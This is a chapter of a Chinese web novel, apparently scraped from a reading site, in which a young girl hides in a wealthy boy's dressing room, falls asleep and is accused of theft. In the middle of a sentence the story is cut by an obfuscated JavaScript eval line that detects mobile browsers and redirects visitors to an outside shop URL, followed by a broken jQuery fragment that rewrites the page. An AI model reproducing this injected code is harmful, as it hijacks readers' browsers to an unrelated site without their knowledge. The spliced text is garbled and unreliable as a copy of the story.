叶蜚声侧身贴着门板,伸长耳朵,等了许久,没有再听到声音后,才微微松了口气。
抬头看了眼,叶蜚声这才发现她藏进来的房间大得出奇,房间里不仅有床、沙发,电视机,还有一架钢琴,简直比叶曲棠的房间还要大。
不过虽然这个房间很大,可叶蜚声一点也不喜欢,因为这个房间太单调了,除了那几样黑白色调的家具外,这个房间里就没有其他颜色了,就连床单被套和枕头也是黑色的。
叶蜚声觉得这可能就是一间没人住的闲置房,就和叶家那些没人住的仓库一样。她正暗自打量着,忽然看到桌上摆着一张相片。
目光顿住,她走过去,把相片朝自己这边稍微斜移过来一点,探头看去,然后,就被彻底吓呆。
照片上是一张全家福,一男一女和一个小孩,男人和女人她都不认识,但上面的小孩,分明就是宿时信。
宿时信穿着一件白色短袖,站在两个大人中间,笑得一脸灿烂。跟叶蜚声刚刚在后花园看见的完全不一样。
后花园里的宿时信,表情漠然,既不爱笑,也不爱说话。可这张照片上的男孩,却笑得像是拥有了全世界。
叶蜚声把照片重新摆好,第一个反应就是赶快离开这个房间。她朝门口冲去,刚拧开门把手,叶曲淮的声音就在走廊响起。
“我就说不要跟那些小丫头片子一起玩,待会又哭唧唧跟大人告状。”
一个男孩在他后面接道:“你说的不就是你妹妹叶曲棠吗?”
叶曲淮:“可不就是,时信,你以后不准让那些女生过来了。”
说话声音越来越近,叶蜚声被吓得手足无措,第一个想法,就是不能让他们看到自己。
拧开的门又重新合上。她回头看了眼房间里的家具,看来看去,能躲的地方只有那架钢琴后面,她往钢琴所在的方向冲过去。可刚跑到钢琴背后,门把手就被拧开,叶曲淮兴冲冲喊道:“时信,快把最新款的游戏机拿出来,我要杀你们一个片甲不留。”
叶蜚声被这道声音吓得心都快跳出来,脚下没站稳,身子往后斜了下,接着就撞开了一道隐形门。
这道隐形门随开随关,在叶蜚声还没反应过来时,刚被她撞开的隐形门就被合上,她藏进了里面,把那些男孩子的声音隔绝在了外面。
这是宿时信的衣帽间,衣柜高耸直抵天花板,一排一排精致的衣物映入眼帘,西装,衬衫,短袖,裤子,外套,大衣,每一件都干净柔软,没有任何褶皱,闪闪发光。
巨大的玻璃镜面照出叶蜚声的身影,旁边是一张巨大的长条形白色沙发,上面堆叠着一条黑色毛毯。
不同款式的鞋子一字排开,叶蜚声数了下,足足摆了5个柜子。衣帽间中央还立着一张白色鎏金展示柜,里面放着手表,袖扣、领带、手套等配饰,林林总总,把整个柜子都占满了。
叶蜚声就像是误入了王子宫殿的贫民窟少女,这里的每一样东西都是她从来没有见过的尊贵奢华。
她张大了嘴,从那些东西上收回视线,往旁边不经意扫了眼,脸颊顿时一红。
那里挂着一排内裤。
她站在原地,动也不敢动,等心脏跳得不那么快了后,才把那扇隐形门悄悄拉开一条缝,朝外看去。
游戏音效和男孩们兴奋的叫喊声瞬间传进耳里。
“看我看我,这把绝对是我赢!”
“叶曲淮,你逊毙了!”
“胡说,我都要赢了,都是你一直在拖后腿。”
“你还有脸说,你把几个怪都给放跑了!”
“跟你打不了,时信你来,让他们看看,咱们俩配合得有多好。”
然而少年的声音淡漠又清越,拒绝了叶曲淮的邀请,“你们玩,我下去给你们拿点喝的。”
“你打个电话,叫人拿上来就好了。”
“没事,我下去拿,你们继续打吧。”
叶蜚声透过那条缝隙,看见宿时信从沙发上站起来,她在心里祈祷宿时信把其他人也一起带出去,但她的祈祷明显不管用,离开的只有宿时信一个人。
没过多久,宿时信又回来了,身后的佣人们端来了好几杯五颜六色的饮料,一一放在桌上。
叶蜚声藏在衣帽间里,心想他们玩完游戏应该就会离开了吧,也不知道宿之苦能不能找到她。如果一直找不到,这次的游戏她可就赢了。
但等啊等,叶蜚声每次打开门缝,那些男孩们都一直在,游戏音效声还在继续,叶曲淮的声音听起来也越来越像猴子在叫。
而宿时信却拿起了一本书在看,丝毫不受噪音干扰。
叶蜚声等得实在无聊,便数了数衣帽间的地板砖,排除柜子和沙发的占地面积,其余地方一共是531块半。
接着又数了数宿时信的衣服数。
统计如下:
白色衬衫56件
黑色衬衫178件
西装外套137件
短袖(不分颜色)96件
裤子(不分款式)208件
……
剩下的叶蜚声没有数完,因为她数着数着就数乱了,自己也记不清数字了。她打了个哈欠,觉得有些困,她想要睡觉,但不敢爬到沙发上去,更不敢盖那张毯子。
她坐在了地上,但身体往后一靠,一大堆柔软的面料就将她团团围住。
于是,她又躺到了地上,闭上眼睛前,她还想,也许等睡一觉醒过来,宿时信他们就离开了,她就能偷偷跑出去了。
然而,不知道是不是睡过去前没有盖被子的原因,叶蜚声觉得很冷。
她把身体蜷缩成一团,但胳膊,双腿,后背仍旧冰凉凉一片。忽然之间,她的腿被人用力踢了踢,叶曲棠愤怒的大喊声近在耳边。
“叶蜚声,你给我起来!”
被吓得一激灵,叶蜚声以为被子又被叶曲棠扔进水里了。她瞬间从睡梦中睁开眼,梦里的惊惶还没有散去,她就看到了围在周围的一圈人。
叶仕国,叶曲棠,叶曲淮,宿爷爷,宿之苦……以及站在正中间,盯着她的宿时信。
叶蜚声被吓得立刻坐起来,身体往后一缩,一件白色衬衫捂住了她的脸。
叶曲棠把她从地上拉起来,怒声道:“你干什么,你把时信哥的衣服都弄脏了!”
叶蜚声愣愣的站起来,还没站稳,叶曲棠又质问,“你偷偷跑来时信哥房间里干什么?跑来房间还不算,还藏进衣帽间里,说,你想在这里偷什么?”
叶蜚声被不明不白的诬陷,涨红了脸,立刻为自己辩解,“我没偷东西。”
“你没偷东西,那为什么要躲在这里不出去。”叶曲棠凶恶道,“你妈妈偷人,你偷东西,母女两个都不是好人。”
“偷人”这种词,显然不是一个七岁的小孩能够知道的。除了有大人在她面前说过,叶曲棠也找不到第二个获取这种信息的渠道。
这话一出来,大人的脸色顿时就变了。
叶仕国面色不豫,“曲棠,你胡说什么!”说完,他瞪了卢美君一眼,只有她才会在叶曲棠面前说这些话。
卢美君被他这一眼看得心里也冒火,想发脾气又碍于宿老爷子在场,只能把火压下,把叶曲棠拉回到自己身后,凶巴巴道:“你给我闭嘴,说这种话真是没有一点教养!”
叶曲棠被自己妈妈在这么多人面前训斥,瞬间委屈,扯开了嗓子嚎啕大哭。
这哭声让叶仕国听得心烦,他让叶曲淮把妹妹拉出去
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14294530|152159||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,别在这里丢人现眼。
等叶曲淮兄妹离开后,叶仕国才问叶蜚声,“你好端端的,来时信衣帽间里做什么?”他虽然没有发火,但语气很不耐烦,责怪之意明显。
叶蜚声看了眼大人的脸色,害怕得说不出一个字,嘴唇张合了半天,发不出丝毫声音。
宿时信的目光是那样的锐利冷漠。
还是宿之苦为她小声解释:“声声和我玩捉迷藏,我在楼下找了好久都没找到,原来她是藏进了哥哥的衣帽间。”
宿老爷子看着叶蜚声,和蔼问道:“是这样吗?”
叶蜚声连忙点头。
“既然是误会,那这事就算了。”宿老爷子说道,“不过,这里是时信的地方,没有他的允许,任何人不得私自出现在这里,就连我也不行。”
宿时信这时开口,少年的声线平缓,没有丝毫波动,“爷爷,我没有这样说过。”
宿老爷子笑道:“可你是这样想的。”
宿时信没有做声。
宿老爷子对叶蜚声说:“以后来家里,就不要上三楼了,时信哥哥不喜欢外人来这里。”
老爷子是笑着说的,但语气里的威严并不会让人把这句话当成玩笑。
叶蜚声用力点头。
叶仕国看了眼宿时信的脸色,催促道:“快,给时信哥哥道歉,说你错了。”
叶蜚声怯怯地看向宿时信,“对不起,时信—”
“不用了。”宿时信淡声打断了她的道歉。
叶蜚声闭了嘴,她看着面无表情的宿时信,有些迷惑,这个人和照片上笑着的男孩怎么会是一个人呢?
这件事到此为止,叶蜚声跟在大人身后离开。
走廊上,叶曲棠看见她从房间出来,还在哭喊,“时信哥,你要检查一下你的东西,谁知道她偷拿了什么!”
叶曲淮一把捂住她的嘴,把她连拉带扯的拉下楼。
叶蜚声听到这通指责,心里又委屈又愤怒,她抬眼去看走在前面的宿时信,希望这个人现在立刻回去检查他的东西,然后把检查的结果告诉大家,她才没有偷他的东西。
不知道她的心声是不是真被宿时信听到了。
宿时信对迎面走来的佣人说:“把我的房间整理一下。”
叶蜚声听到他的话后,一下愣住,接着一股淡淡的喜悦涌上心头。
虽然不是他亲自检查,但叫佣人检查也是一样的。
佣人回道:“好的,少爷,我现在就派人把房间整理一遍。”
“还有衣帽间。”宿时信叮嘱。
叶蜚声欣喜非常。
“好的,少爷,那我先给您拿出一套备用的衣服。”
“不用了。”宿时信说,“全部扔了。”
叶蜚声笑容僵在嘴角。
佣人也有些诧异,“全部?”
宿时信:“是,全部扔了,一件不留。”
叶蜚声在他说完那句话后,感觉有只手把她的心脏紧攥了一下,有些难受,可她却不知道在难受什么。
宿之苦见她忽然停下脚步,悄悄提醒:“声声,快走啊。”
叶蜚声木然的抬腿,宿时信却忽然朝他们看了过来。
他的眼神带着超乎年龄的沉静与疏离,对佣人说:
“告诉所有人,没有我的允许,以后谁都不准进我的房间。”
那天从宿家回去后,叶蜚声就被关了一周禁闭,她除了房间哪里都不准去。叶曲棠则是每天早中晚准时出现在她的房间,完成每日辱骂任务。
等到她再次和宿之苦见面,已经是两个月后了。
她也是那时才知道,那天客人全部离开后,宿之苦当晚就被赵唯春揍了一顿,原因是惹宿时信不高兴。